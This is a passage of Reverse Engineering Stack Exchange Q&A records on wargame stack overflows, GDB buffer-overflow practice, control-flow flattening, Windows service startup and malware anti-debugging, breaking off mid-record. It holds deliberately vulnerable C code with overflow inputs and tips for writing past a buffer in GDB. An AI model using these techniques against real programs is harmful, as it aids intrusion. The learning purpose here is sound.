        "Body": "<p>I am working on <a href=\"http://io.smashthestack.org:84/\" rel=\"noreferrer\">io-wargames</a> for fun right now, level3:</p>\n\n<p>I do understand why there is a stack-overflow in this code <code>(strlen(argv[1])</code>), but what I don't understand is why it overflows the function pointer <code>functionpointer</code>. </p>\n\n<p><code>functionpointer</code> is declared before <code>char buffer[50];</code> on the stack so How comes it overwrites it ??? </p>\n\n<p>Here is the main vulnerable code: </p>\n\n<pre><code>int main(int argc, char **argv, char **envp)\n{\n        void (*functionpointer)(void) = bad;\n        char buffer[50];\n\n        if(argc != 2 || strlen(argv[1]) &lt; 4)\n                return 0;\n\n        memcpy(buffer, argv[1], strlen(argv[1]));\n        memset(buffer, 0, strlen(argv[1]) - 4);\n\n        printf(\"This is exciting we're going to %p\\n\", functionpointer);\n        functionpointer();\n\n        return 0;\n}\n</code></pre>\n\n<p>Here is the shell exploits the stackoverflow:</p>\n\n<pre><code>level3@io:~$ /levels/level03 11111111\nThis is exciting we're going to 0x80484a4\nI'm so sorry, you're at 0x80484a4 and you want to be at 0x8048474\nlevel3@io:~$ /levels/level03 111111111111111111111111111111111111111111111111111111111111111111111111111111111\nThis is exciting we're going to 0x31313100\nSegmentation fault\n</code></pre>\n\n<hr>\n\n<p>Here is the <code>objump -d</code> of the executable:</p>\n\n<pre><code>080484c8 &lt;main&gt;:\n 80484c8:       55                      push   %ebp\n 80484c9:       89 e5                   mov    %esp,%ebp\n 80484cb:       83 ec 78                sub    $0x78,%esp\n 80484ce:       83 e4 f0                and    $0xfffffff0,%esp\n 80484d1:       b8 00 00 00 00          mov    $0x0,%eax\n 80484d6:       29 c4                   sub    %eax,%esp\n 80484d8:       c7 45 f4 a4 84 04 08    movl   $0x80484a4,-0xc(%ebp)\n 80484df:       83 7d 08 02             cmpl   $0x2,0x8(%ebp)\n 80484e3:       75 17                   jne    80484fc &lt;main+0x34&gt;\n 80484e5:       8b 45 0c                mov    0xc(%ebp),%eax\n 80484e8:       83 c0 04                add    $0x4,%eax\n 80484eb:       8b 00                   mov    (%eax),%eax\n 80484ed:       89 04 24                mov    %eax,(%esp)\n 80484f0:       e8 a7 fe ff ff          call   804839c &lt;strlen@plt&gt;\n 80484f5:       83 f8 03                cmp    $0x3,%eax\n 80484f8:       76 02                   jbe    80484fc &lt;main+0x34&gt;\n 80484fa:       eb 09                   jmp    8048505 &lt;main+0x3d&gt;\n 80484fc:       c7 45 a4 00 00 00 00    movl   $0x0,-0x5c(%ebp)\n 8048503:       eb 74                   jmp    8048579 &lt;main+0xb1&gt;\n 8048505:       8b 45 0c                mov    0xc(%ebp),%eax\n 8048508:       83 c0 04                add    $0x4,%eax\n 804850b:       8b 00                   mov    (%eax),%eax\n 804850d:       89 04 24                mov    %eax,(%esp)\n 8048510:       e8 87 fe ff ff          call   804839c &lt;strlen@plt&gt;\n 8048515:       89 44 24 08             mov    %eax,0x8(%esp)\n 8048519:       8b 45 0c                mov    0xc(%ebp),%eax\n 804851c:       83 c0 04                add    $0x4,%eax\n 804851f:       8b 00                   mov    (%eax),%eax\n 8048521:       89 44 24 04             mov    %eax,0x4(%esp)\n 8048525:       8d 45 a8                lea    -0x58(%ebp),%eax\n 8048528:       89 04 24                mov    %eax,(%esp)\n 804852b:       e8 5c fe ff ff          call   804838c &lt;memcpy@plt&gt;\n 8048530:       8b 45 0c                mov    0xc(%ebp),%eax\n 8048533:       83 c0 04                add    $0x4,%eax\n 8048536:       8b 00                   mov    (%eax),%eax\n 8048538:       89 04 24                mov    %eax,(%esp)\n 804853b:       e8 5c fe ff ff          call   804839c &lt;strlen@plt&gt;\n 8048540:       83 e8 04                sub    $0x4,%eax\n 8048543:       89 44 24 08             mov    %eax,0x8(%esp)\n 8048547:       c7 44 24 04 00 00 00    movl   $0x0,0x4(%esp)\n 804854e:       00 \n 804854f:       8d 45 a8                lea    -0x58(%ebp),%eax\n 8048552:       89 04 24                mov    %eax,(%esp)\n 8048555:       e8 02 fe ff ff          call   804835c &lt;memset@plt&gt;\n 804855a:       8b 45 f4                mov    -0xc(%ebp),%eax\n 804855d:       89 44 24 04             mov    %eax,0x4(%esp)\n 8048561:       c7 04 24 c0 86 04 08    movl   $0x80486c0,(%esp)\n 8048568:       e8 3f fe ff ff          call   80483ac &lt;printf@plt&gt;\n 804856d:       8b 45 f4                mov    -0xc(%ebp),%eax\n 8048570:       ff d0                   call   *%eax\n 8048572:       c7 45 a4 00 00 00 00    movl   $0x0,-0x5c(%ebp)\n 8048579:       8b 45 a4                mov    -0x5c(%ebp),%eax\n 804857c:       c9                      leave  \n 804857d:       c3                      ret    \n 804857e:       90                      nop\n 804857f:       90                      nop\n</code></pre>\n\n<hr>\n\n<p>I see that the complier reserved in the main's prolog function frame <code>0x78</code> bytes for the local main function variables. </p>\n",
        "Title": "Why does the function pointer get overwritten even though is declared before the vulnerable buffer?",
        "Tags": "|c|linux|assembly|x86|",
        "Answer": "<blockquote>\n  <p>Why does the function pointer get overwritten even though is declared before the vulnerable buffer?</p>\n</blockquote>\n\n<p>In the vulnerable code the order of declaration is:</p>\n\n<pre><code>void (*functionpointer)(void) = bad;  \nchar buffer[50];\n</code></pre>\n\n<p>The assembly code shows us that the <strong>function pointer</strong> variable is located at <code>ebp-0xc</code> and the <strong>buffer</strong> at <code>ebp-0x58</code>.  </p>\n\n<p>This proves that the <strong>stack is growing downwards</strong>(to lower addresses) in this system as the <strong>buffer</strong> is placed at a lower address than the <strong>function pointer</strong> variable.  </p>\n\n<p>Another proof that the stack is growing downwards in this system is the below instruction which allocates the required space by substracting <code>esp</code>:</p>\n\n<pre><code>80484cb:       83 ec 78                sub    $0x78,%esp\n</code></pre>\n\n<p><br/>\nNow <code>memcpy</code> copies <code>num</code> bytes starting from the byte located at <code>ebp-0x58</code> and then it continues by incrementing.</p>\n\n<p>Adding <code>1</code> to <code>ebp-0x58</code> makes it <code>ebp-0x57</code>, so if <code>num</code> is long enough, <code>memcpy</code> will overwrite the <strong>function pointer</strong> located at <code>ebp-0xc</code>.</p>\n\n<p><code>ebp</code> holds an address, lets say <code>0x00400000</code>, so <code>ebp-0x58</code> is the address <code>0x003FFFA8</code> incrementing from that address you will eventually reach <code>ebp-0xc(0x003FFFF4)</code>.</p>\n\n<pre><code>0x003FFFA8 \u00a0\u00a0\u00a0 buffer\n...\n0x003FFFF4 \u00a0\u00a0\u00a0\u00a0function pointer\n0x003FFFF8 \u00a0\u00a0\u00a0\u00a0\n0x003FFFFC\u00a0\u00a0\u00a0\u00a0\n0x00400000\u00a0\u00a0\u00a0\u00a0\u00a0saved ebp\n0x00400004\u00a0\u00a0 \u00a0\u00a0saved return address\n</code></pre>\n"
    },
    {
        "Id": "2215",
        "CreationDate": "2013-06-09T01:47:19.077",
        "Body": "<p>I'm trying to understand very basic stack-based buffer overflow\nI'm running Debian wheezy on a x86_64 Macbook Pro.</p>\n\n<p>I have the following unsafe program:</p>\n\n<pre><code>#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n\nCanNeverExecute()\n{\n        printf(\"I can never execute\\n\");\n        exit(0);\n}\n\nGetInput()\n{\n        char buffer[512];\n\n        gets(buffer);\n        puts(buffer);\n}\n\nmain()\n{\n        GetInput();\n\n        return 0;\n}\n</code></pre>\n\n<p>I compiled with <code>-z execstack</code> and <code>-fno-stack-protector</code> for my tests.</p>\n\n<p>I have been able to launch the program through gdb, get the address of <code>CanNeverExecute</code> function which is never called, and overflow the buffer to replace the return address by this address. I got printed \"I can never execute\", which is, so far, so good.</p>\n\n<p>Now I'm trying to exploit this buffer overflow by introducing shellcode in the stack. I'm currently trying directly into gdb: break in <code>GetInput</code>function, set buffer value through gdb and jump to buffer adress with <code>jump</code> command.</p>\n\n<p>But I have a problem when setting the buffer:\nI have a breakpoint just after gets function, and I ran the programm with 512 <code>a</code> characters as input.</p>\n\n<p>In gdb, I do:</p>\n\n<pre><code>(gdb) p buffer\n$1 = 'a' &lt;repeats 512 times&gt;\n</code></pre>\n\n<p>The input was read without any problem, and my buffer is 512 <code>a</code>\nI then try to modify its value. If I do this:</p>\n\n<pre><code>(gdb) set var buffer=\"\"\n</code></pre>\n\n<p>and try to print buffer, its length is now 511! How come??</p>\n\n<pre><code>(gdb) p buffer\n$2 = '\\000' &lt;repeats 511 times&gt;et:\n</code></pre>\n\n<p>And when I try to set it back to, for instance, 512 <code>a</code>, I get:</p>\n\n<pre><code>Too many array elements\n</code></pre>\n\n<p>I can set it to 511 <code>a</code> though, it is really that las byte that doesn't work... How come, is there a simple explanation?</p>\n",
        "Title": "GDB Error \"Too many array elements\"",
        "Tags": "|gdb|buffer-overflow|",
        "Answer": "<p>GDB protects you to overflow your char array. </p>\n\n<pre><code>(gdb) p &amp;buffer\n$25 = (char (*)[512]) 0x7fffffffdfe0\n</code></pre>\n\n<p>To bypass this security you can either write directly the memory :</p>\n\n<pre><code>(gdb) set 0x7fffffffe1e0=0x41414141\n</code></pre>\n\n<p>Or cast the array as a bigger one and then set your stuff :</p>\n\n<pre><code>set {char [513]}buffer=\"512xA\"\n</code></pre>\n"
    },
    {
        "Id": "2221",
        "CreationDate": "2013-06-10T13:46:25.980",
        "Body": "<p>I recently heard about the &quot;control-flow flattening&quot; obfuscation which seems to be is used to break the structure of the CFG of the binary program (see <a href=\"https://www.sstic.org/2013/presentation/execution_symbolique_et_CFG_flattening/\" rel=\"nofollow noreferrer\">Symbolic Execution and CFG Flattening</a>).</p>\n<p>Can somebody make an explanation of what is its basic principle and, also, how to produce such obfuscation (tools, programming technique, ...) ? And, it would be nice to know if there are ways to extract the real shape of the control-flow of the program.</p>\n",
        "Title": "What is a \"control-flow flattening\" obfuscation technique?",
        "Tags": "|obfuscation|",
        "Answer": "<p>Control flow flattening is an obfuscation\\transformation technique that can be applied to code for almost all languages in order to make it more difficult to understand and reverse engineer.</p>\n<pre><code>int gSDetETSDG119 = 1010545;\n    while (gSDetETSDG119 != 1010544)\n        {\n            switch (gSDetETSDG119) {\n              case 1010545:\n                {\n                    if (n &lt;= 0) {\n                        gSDetETSDG119 = 1010546;\n                    } else {\n                        gSDetETSDG119 = 1010547;\n                    }\n                    break;\n                }\n              case 1010546:\n                {\n                    return (0.000000e+000);\n                    gSDetETSDG119 = 1010544;\n                    break;\n                }\n              case 1010547:\n                {\n                    gSDetETSDG119 = 1010544;\n                    break;\n                }\n            }\n        }\n}\nint gSDetETSDG118 = 1010541;\n    while (gSDetETSDG118 != 1010540)\n        {\n            switch (gSDetETSDG118) {\n              case 1010541:\n                {\n                    if (incx != 1 || incy != 1) {\n                        gSDetETSDG118 = 1010542;\n                    } else {\n                        gSDetETSDG118 = 1010543;\n                    }\n                    break;\n                }\n              case 1010542:\n                {\n                    {\n                        ix = 0;\n                        iy = 0;\n                        {\n                            int gSDetETSDG117 = 1010537;\n                            while (gSDetETSDG117 != 1010536)\n                                {\n                                    switch (gSDetETSDG117) {\n                                      case 1010537:\n                                        {\n                                            if (incx &lt; 0) {\n                                                gSDetETSDG117 = 1010538;\n                                            } else {\n                                                gSDetETSDG117 = 1010539;\n                                            }\n                                            break;\n                                        }\n                                      case 1010538:\n                                        {\n                                            ix = (-n + 1) * incx;\n                                            gSDetETSDG117 = 1010536;\n                                            break;\n                                        }\n                                      case 1010539:\n                                        {\n                                            gSDetETSDG117 = 1010536;\n                                            break;\n                                        }\n                                    }\n                                }\n                        }\n                        {\n                            int gSDetETSDG116 = 1010533;\n                            while (gSDetETSDG116 != 1010532)\n                                {\n                                    switch (gSDetETSDG116) {\n                                      case 1010533:\n                                        {\n                                            if (incy &lt; 0) {\n                                                gSDetETSDG116 = 1010534;\n                                            } else {\n                                                gSDetETSDG116 = 1010535;\n                                            }\n                                            break;\n                                        }\n                                      case 1010534:\n                                        {\n                                            iy = (-n + 1) * incy;\n                                            gSDetETSDG116 = 1010532;\n                                            break;\n                                        }\n                                      case 1010535:\n                                        {\n                                            gSDetETSDG116 = 1010532;\n                                            break;\n                                        }\n                                    }\n                                }\n                        }\n                        {\n                            i = 0;\n                            {\n                                int gSDetETSDG110 = 1010510;\n                                while (gSDetETSDG110 != 1010509)\n                                    {\n                                        switch (gSDetETSDG110) {\n                                          case 1010510:\n\n{\n                                                {\n                                                    int gSDetETSDG115 = 1010529;\n                                                    while (gSDetETSDG115 != 1010528)\n                                                        {\n                                                            switch (gSDetETSDG115) {\n                                                              case 1010529:\n                                                                {\n                                                                    if (i &lt; n) {\n                                                                        gSDetETSDG115 = 1010530;\n                                                                    } else {\n                                                                        gSDetETSDG115 = 1010531;\n                                                                    }\n                                                                    break;\n                                                                }\n                                                              case 1010530:\n                                                                {\n                                                                    gSDetETSDG110 = 1010511;\n                                                                    gSDetETSDG115 = 1010528;\n                                                                    break;\n                                                                }\n                                                              case 1010531:\n                                                                {\n                                                                    gSDetETSDG110 = 1010509;\n                                                                    gSDetETSDG115 = 1010528;\n                                                                    break;\n                                                                }\n                                                            }\n                                                        }\n                                                }\n                                                break;\n                                            }\n                                          case 1010511:\n                                            {\n                                                {\n                                                    dtemp = dtemp + dx[ix] * dy[iy];\n                                                    ix = ix + incx;\n                                                    iy = iy + incy;\n                                                }\n                                              eTDGEyDg246:\n                                                {\n                                                    i++;\n                                                }\n                                              eTDGEyDg251:\n                                                {\n                                                    ;\n                                                }\n                                                gSDetETSDG110 = 1010510;\n                                                break;\n                                            }\n                                        }\n                                    }\n                              eTDGEyDg252:\n                                {\n                                    ;\n                                }\n                            }\n                        }\n                        return (dtemp);\n                    }\n                    gSDetETSDG118 = 1010540;\n                    break;\n                }\n              case 1010543:\n                {\n                    gSDetETSDG118 = 1010540;\n                    break;\n                }\n            }\n        }\n}\n</code></pre>\n<p>This technique involves transforming the control flow of a program in a way that makes it more difficult to trace\\debug, while still preserving the same logic of the original program.</p>\n<p>There are a number of different ways that control flow flattening can be implemented, but the basic idea is to take the control flow of the program and transform it into a series of nested if-then-else\\while\\switch statements.</p>\n<p>This can be done by replacing all of the branches in the original code with conditional statements, and then nesting these statements so that the overall control flow becomes much more complex.</p>\n<p>To avoid automatic code simplification and folding we can use opaque predicates technique with known conditions.</p>\n<p>One of the biggest benefits of control flow flattening is that it can make it much more difficult for an attacker to understand the code and figure out how it works. This can be especially useful for protecting against reverse engineering and tampering attacks, as it can make it much more difficult for an attacker to modify the code or to understand its internal logic</p>\n"
    },
    {
        "Id": "2223",
        "CreationDate": "2013-06-10T16:04:42.910",
        "Body": "<p>I am making a system in which the users can create Android applications. I want them to give an option to download a <a href=\"http://developer.android.com/tools/building/building-cmdline.html#DebugMode\" rel=\"noreferrer\">debug apk</a> so that they can try it out first. After that, they have to pay for it to get the <a href=\"http://developer.android.com/tools/building/building-cmdline.html#ReleaseMode\" rel=\"noreferrer\">apk in release mode</a>, so that it can be distributed in the Google Play Store.</p>\n\n<p>I of course don't want them to be able to reverse-engineer the debug apk so that they can extract the needed files from it and then sign it themselves. Hence my question: </p>\n\n<p><strong>Is it possible to reverse engineer a debug apk to extract the classes and everything needed to build it in release mode?</strong></p>\n\n<p>If so, would there be any way to secure the debug versions so that it isn't possible anymore?</p>\n",
        "Title": "Can a debug-apk be reverse engineered to make it a release-apk?",
        "Tags": "|decompilation|unpacking|android|copy-protection|apk|",
        "Answer": "<p>The difference between a debug apk and a release apk is that a debug apk is signed by a particular key which is provided with the SDK, whereas a release apk is signed by some other key. There's nothing to reverse engineer: all you have to do to make a release apk and sign it.</p>\n\n<p>Nobody but you can create an apk signed by you. But anyone can make their own release apk by signing them.</p>\n\n<p>A solution in your case would be to produce a binary including some DRM and refuse to run except on your customer's pre-registered device. How to implement such DRM, especially while letting your customer debug his applications, is left as an exercise to the reader.</p>\n"
    },
    {
        "Id": "2228",
        "CreationDate": "2013-06-11T03:13:30.460",
        "Body": "<p>When I execute a program using IDA's debugger interface, I would like to see the basic blocks that were executed highlighted in the IDB. Is there a way to do this?</p>\n",
        "Title": "Highlight Executed Basic Blocks in IDA",
        "Tags": "|ida|",
        "Answer": "<p><strong><a href=\"http://www.openrce.org/downloads/details/171\" rel=\"nofollow noreferrer\">Process Stalker</a></strong> is designed to do exactly what you want.</p>\n\n<p><img src=\"https://i.stack.imgur.com/qYf7z.gif\" alt=\"Snippet of Process Stalker&#39;s basic block highlighting\"></p>\n\n<p>Sample usage: <a href=\"https://www.openrce.org/articles/full_view/12\" rel=\"nofollow noreferrer\">https://www.openrce.org/articles/full_view/12</a></p>\n\n<p>PowerPoint slides: <a href=\"http://2005.recon.cx/recon2005/papers/Pedram_Amini/process_stalking-recon05.pdf\" rel=\"nofollow noreferrer\">http://2005.recon.cx/recon2005/papers/Pedram_Amini/process_stalking-recon05.pdf</a></p>\n"
    },
    {
        "Id": "2232",
        "CreationDate": "2013-06-11T18:24:18.107",
        "Body": "<p>I have the following data:</p>\n\n<pre><code>.data:004305FC word_4305FC     dw 1583h                \n.data:004305FC                                         \n.data:004305FE word_4305FE     dw 35B6h                \n.data:00430600                 dw 6835h\n.data:00430602                 dw 6553h\n.data:00430604                 dw 6351h\n.data:00430606                 dw 23F5h\n.data:00430608                 dw 6845h\n.data:0043060A                 dw 6344h\n.data:0043060C                 dw 6823h\n.data:0043060E                 dw 2342h\n.data:00430610                 dw 2474h\n...\n</code></pre>\n\n<p>In addition, I have the following disassembly of the code accessing the data:</p>\n\n<pre><code>...\nmov     eax, [ebp+Variable_1]\nxor     ecx, ecx\nmov     cx, word_4305FE[eax*2]\n...\nmov     eax, [ebp+Variable_1]\nxor     edx, edx\nmov     dx, word_4305FC[eax*2]\n...\n</code></pre>\n\n<p>It looks like array within another array. Am I correct? If not, what do you think the data structure is? If it is a single array, why is it been accessed through 2 different \"heads\" <strong><code>word_4305fc</code></strong> and <strong><code>word_4305FE</code></strong>?</p>\n\n<p>Thank you.</p>\n\n<p><strong>ADDED:</strong></p>\n\n<p>The following is in response to the comments below. Thank you, guys, so much for your input! I really do appreciate it and RE community in general. I feel as if my question needs certain clarification. I do realize that this is an array. I also clearly see that <strong><code>Variable_1</code></strong> is an index to the array. In addition, I can see iteration. However, it is not my question. What I am really looking for is clarification or possibly an explanation. How would I be able to distinguish if this array is indeed more complex data type? Why did compiler choose to refer to this data type with 2 different angles: using 2 global variables both <strong><code>word_4305fc</code></strong> and <strong><code>word_4305FE</code></strong>? Is there a specific reason for it? Is it an indication of more complex data type? </p>\n",
        "Title": "What type of data structure is it?",
        "Tags": "|disassembly|assembly|ida|struct|",
        "Answer": "<p>As Dcoder indicated, an array of <code>short</code> data types begins at the lower address, and the increment of the base of the array by <code>2</code> corresponds to adding <code>1</code> to the index.  Consider the following C code:</p>\n\n<pre><code>short array[256];\n\n// ...\ncx = array[variable_1+1];\n// ...\n\n// ...\ndx = array[variable_1];\n// ...\n</code></pre>\n\n<p>Consider the choices that the compiler has in compiling these snippets of code.  It could produce code like this:</p>\n\n<pre><code>mov eax, [ebp+Variable_1]\nxor ecx, ecx\nmov cx, word_4305FC[eax*2+2] ; note the +2 and the -FC address\n</code></pre>\n\n<p>Or maybe:</p>\n\n<pre><code>mov eax, [ebp+Variable_1]\ninc eax ; note this\nxor ecx, ecx\nmov cx, word_4305FC[eax*2] ; note the -FC address\n</code></pre>\n\n<p>Or, in the case of what you posted, this is an equivalent code sequence:</p>\n\n<pre><code>mov eax, [ebp+Variable_1]\nxor ecx, ecx\nmov cx, word_4305FE[eax*2] ; note the -FE address\n</code></pre>\n\n<p>What the compiler did was to eliminate the \"+2\" in the address displacement, or the \"inc eax\" in the index computation, and replaced it by adding 1*sizeof(short) to the address of the array.  This allows for a more optimized computation that does not have any increments taking place at runtime.</p>\n"
    },
    {
        "Id": "2235",
        "CreationDate": "2013-06-11T22:01:06.090",
        "Body": "<p>I'm trying to work out the internals of how a Windows process starts and maintains communication with <code>services.exe</code>. This is on Windows 8 x64, but if you have tips for Windows 7 that is fine too.</p>\n\n<p>So far I figure out <code>services.exe</code> does something approximately like this:</p>\n\n<pre><code>PROCESS_INFORMATION     pi;\n    TCHAR                   szExe[] = _T(\"C:\\\\Program Files\\\\TestProgram\\\\myWindowsService.exe\");\n    PROCESS_INFORMATION process_information = {0};\n    HKEY hOpen;\n    DWORD dwNumber = 0;\n    DWORD dwType = REG_DWORD;  \n    DWORD dwSize = sizeof(DWORD);\n    STARTUPINFOEX startup_info;\n    SIZE_T attribute_list_size = 0;\n\n    ZeroMemory(&amp;startup_info, sizeof(STARTUPINFOEX));\n\n    // can see EXTENDED_STARTUPINFO_PRESENT is used, but couldn't figure out if any/what attributes are added\n    BOOL status = InitializeProcThreadAttributeList(nullptr, 0, 0, &amp;attribute_list_size);\n    PPROC_THREAD_ATTRIBUTE_LIST attribute_list = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, attribute_list_size);\n\n    startup_info.StartupInfo.cb = sizeof(STARTUPINFOEX);\n    startup_info.lpAttributeList = attribute_list;\n    startup_info.StartupInfo.dwFlags = STARTF_FORCEOFFFEEDBACK;\n    startup_info.StartupInfo.wShowWindow= SW_HIDE;\n\n        if(CreateProcess(\n            NULL,\n            szExe,\n            NULL,\n            NULL, \n            FALSE,\n            CREATE_SUSPENDED | \n            CREATE_UNICODE_ENVIRONMENT | \n            DETACHED_PROCESS | \n            EXTENDED_STARTUPINFO_PRESENT,\n            NULL,\n            NULL, \n            &amp;startup_info.StartupInfo, \n            &amp;pi))\n    {\n        HANDLE hEvent;\n        hEvent=CreateEvent(NULL,FALSE,FALSE,NULL); // I traced this call during service sstartup; no idea what purpose it serves?\n\n        ResumeThread(pi.hThread);\n</code></pre>\n\n<p>Now my question is, how does the actual \"Start\" get communicated to the service? I know the service itself does something like this:</p>\n\n<ol>\n<li>main entry point (\u00e0 la console program)</li>\n<li>Call <code>advapi!StartServiceCtrlDispatcher</code></li>\n<li>Goes to <code>sechost!StartServiceCtrlDispatcher</code></li>\n<li>This jumps into <code>sechost!QueryServiceDynamicInformation</code></li>\n</ol>\n\n<p>I'm trying to figure out what method in <code>services.exe</code> is used to hook into this start process. Ideally I want to be able to write a PoC code that can \"launch\" a simple Windows service and get it to start, without it being registered as a Windows Service, i.e. wrapped inside a \"stand alone service control manager\". I'm looking for some tips of what best to look for next.</p>\n\n<p>There is also a reference to <code>services.exe</code> in <code>\\\\pipe\\ntsvcs</code>. The <a href=\"http://en.wikipedia.org/wiki/Service_Control_Manager\">Wikipedia article about SCM</a> refers to <code>\\Pipe\\Net\\NtControlPipeX</code> being created, but as far as I can tell, that is in Windows 2000 (maybe XP) but I can't see this happening on Windows 8.</p>\n",
        "Title": "How does services.exe trigger the start of a service?",
        "Tags": "|windows|",
        "Answer": "<p>This is my basic understanding of how Windows service works. I have used it with Windows XP and Windows 7. These are general concepts anyways. </p>\n\n<p>Any service requires three things to be present: </p>\n\n<ol>\n<li>A Main Entry Point</li>\n<li>A Service Entry Point</li>\n<li>A Service Control Handler</li>\n</ol>\n\n<p>You are absolutely right. In the Main Entry Point service must call <strong><code>StartServiceCtrlDispatcher(const SERVICE_TABLE_ENTRY *lpServiceTable)</code></strong> providing Service Control Manager with filled in <strong><code>SERVICE_TABLE_ENTRY</code></strong>, which is (per <a href=\"http://msdn.microsoft.com/en-us/\" rel=\"nofollow noreferrer\">MSDN</a>):</p>\n\n<pre><code>typedef struct _SERVICE_TABLE_ENTRY {\n    LPTSTR                  lpServiceName;\n    LPSERVICE_MAIN_FUNCTION lpServiceProc;\n} SERVICE_TABLE_ENTRY, *LPSERVICE_TABLE_ENTRY;\n</code></pre>\n\n<p>As you can see, there are two things which are required to be supplied in SERVICE_TABLE_ENTRY structure. Those are pointer to name of the service, and pointer to service main function. Right after service registration, Service Control Manager calls  Service Main function, which is also called ServiceMain or Service Entry Point. Service Control Manager expects that following tasks are performed by Service Entry Point:</p>\n\n<ol>\n<li>Register the service control handler.</li>\n<li>Set Service Status</li>\n<li>Perform necessary initialization (creating events, mutex, etc)</li>\n</ol>\n\n<p>Service Control Handler is a callback function with the following definition: <strong><code>VOID WINAPI ServiceCtrlHandler (DWORD CtrlCode)</code></strong>(<a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms685149%28v=vs.85%29.aspx\" rel=\"nofollow noreferrer\">MSDN</a>). It is expected to handle service STOP, PAUSE, CONTINUE, and SHUTDOWN. It is imperative that each service has a handler to handle requests from the SCM. Service control handler is registered with <strong><code>RegisterServiceCtrlHandlerEx()</code></strong>(<a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms685058%28v=vs.85%29.aspx\" rel=\"nofollow noreferrer\">MSDN</a>), which returns <strong><code>SERVICE_STATUS_HANDLE</code></strong>. Service uses the handle to communicate to the SCM. The control handler must also return within 30 seconds. If it does not happen the SCM will return an error stating that the service is unresponsive. This is due to the fact that the handler is called out of the SCM and will freeze the SCM until it returns from the handler. Only then, service may use <strong><code>SetServiceStatus()</code></strong>(<a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms686241%28v=vs.85%29.aspx\" rel=\"nofollow noreferrer\">MSDN</a>) function along with service status handle to communicate back to the SCM. </p>\n\n<p>You don't communicate \"Start\" to a service. Whenever a service loads, it loads in the \"started\" state. It is service's responsibility to report its state to the SCM. You can PAUSE it or CONTINUE (plus about dozen more control codes). You communicate it to the SCM by using <strong><code>ControlService()</code></strong>(<a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms682108%28v=vs.85%29.aspx\" rel=\"nofollow noreferrer\">MSDN</a>) function. The SCM in turn relays the control code (e.g. SERVICE_CONTROL_PAUSE, SERVICE_CONTROL_CONTINUE or any other one) through to the service using registered service control handler function. Afterwards, it is the services responsibility to act upon received control code.</p>\n\n<p>I don't think services.exe executes or runs threads behind actual services. It is the SCM itself. I take it coordinates services in general. Each service \"lives\" in svchost.exe instance. Taking mentioned above into account, I could assume that Service Entry Point or Service Main is executed in the context of instance of the svchost.exe. In its turn, svchost.exe executes Service Main in context of main thread, blocking main thread until Service Main exists signaling that the service exited.</p>\n\n<p>If you are thinking to create your own service control manager, there is no need to reverse engineer how services.exe does it. You can do it your own way and anyway that you like it :)</p>\n\n<p>I hope it helps.</p>\n\n<p><strong>ADDED:</strong></p>\n\n<p>As <a href=\"https://reverseengineering.stackexchange.com/users/161/mick\">Mick</a> commented below, <strong><code>services.exe</code></strong> is the Service Control Manager itself. </p>\n\n<p>If you are creating your own service wrapper to run existing serivce executables outside of the SCM, you will have to adhere to above mentioned service quidelines and requirements. The fist requirement is for the service to get itself registered with the SCM and provide Service Main Entry Point, which is done by calling <strong><code>StartServiceCtrlDispatcher()</code></strong>. It will get you the entry point to Service Main. Afterwards, you should expect the Service Main to call <strong><code>RegisterServiceCtrlHandler()</code></strong> and <strong><code>SetServiceStatus()</code></strong>. Since <strong><code>RegisterServiceCtrlHandler()</code></strong> runs in context of Service Main and blocks Service Main thread, it should be handled properly as well. In addition, you should think of a way to control/monitor the service worker thread(s) by \"watching\" for <strong><code>CreatThread()</code></strong>(<a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms682453%28v=vs.85%29.aspx\" rel=\"nofollow noreferrer\">MSDN</a>) within Service Main. </p>\n"
    },
    {
        "Id": "2238",
        "CreationDate": "2013-06-12T03:12:40.930",
        "Body": "<p>I came across some malware that raised an exception while I was single stepping through it. IDA gives me the option to pass the exception to the application or not. What exactly is going on here? When would I not want to pass the exception to the application?</p>\n",
        "Title": "How to handle exceptions in a debugger when reversing malware?",
        "Tags": "|malware|debuggers|",
        "Answer": "<p>Often times malware and/or obfuscated code (such as unpacking stubs) will do something such as the following:</p>\n\n<ol>\n<li>Set up an exception handler.</li>\n<li>Throw an exception.</li>\n<li>See if the exception handler caught the exception.</li>\n</ol>\n\n<p>If the exception handler didn't catch the exception then the debugged code knows that a debugger was attached and \"swallowed\" the exception, thus indicating that the code is being debugged. In order to hide your debugger from such detection techniques, you always want to pass exceptions to the application when dealing with malware and/or obfuscated code.</p>\n"
    },
    {
        "Id": "2241",
        "CreationDate": "2013-06-12T16:04:52.383",
        "Body": "<p>Long time ago I noticed that using</p>\n<blockquote>\n<p>set follow-fork-mode child</p>\n</blockquote>\n<p>in GDB on FreeBSD doesn't really work.\nThis problem occurs very often with some challenges on various Capture The Flag contests.\nFor example, a server will spawn a child which would handle the connection.\nThe child code has a vulnerability which I would like to debug, but gdb just never follows\nthe childs execution and I can't really observe the vulnerability being triggered.</p>\n<p>So far, I've solved this problem in two ways:</p>\n<ol>\n<li><p>Making a connection, waiting for a child to spawn and than attaching GDB to it.</p>\n<p>This works since the spawned child has it's own PID to which I can attach, but is rather painful since first I have to make a connection from one session, attach with GDB in another, and then send the payload/continue the connection in the first.</p>\n</li>\n<li><p>Patching the binary after the fork call to continue the execution in the parent process instead of the child.</p>\n<p>This is also painful since then I have to restart the whole parent process to create another debugging session.</p>\n</li>\n</ol>\n<p>There are some other tricks that can be employed, but these are enough to illustrate my point.</p>\n<p>Now I know there have been some limitations on FreeBSD in the past regarding this but has anything improved?</p>\n<p>Is there any way to patch GDB to add this functionality? Any suggestions for an easier way of overcoming this?</p>\n",
        "Title": "gdb on FreeBSD and follow-fork-mode child",
        "Tags": "|gdb|exploit|debugging|multi-process|",
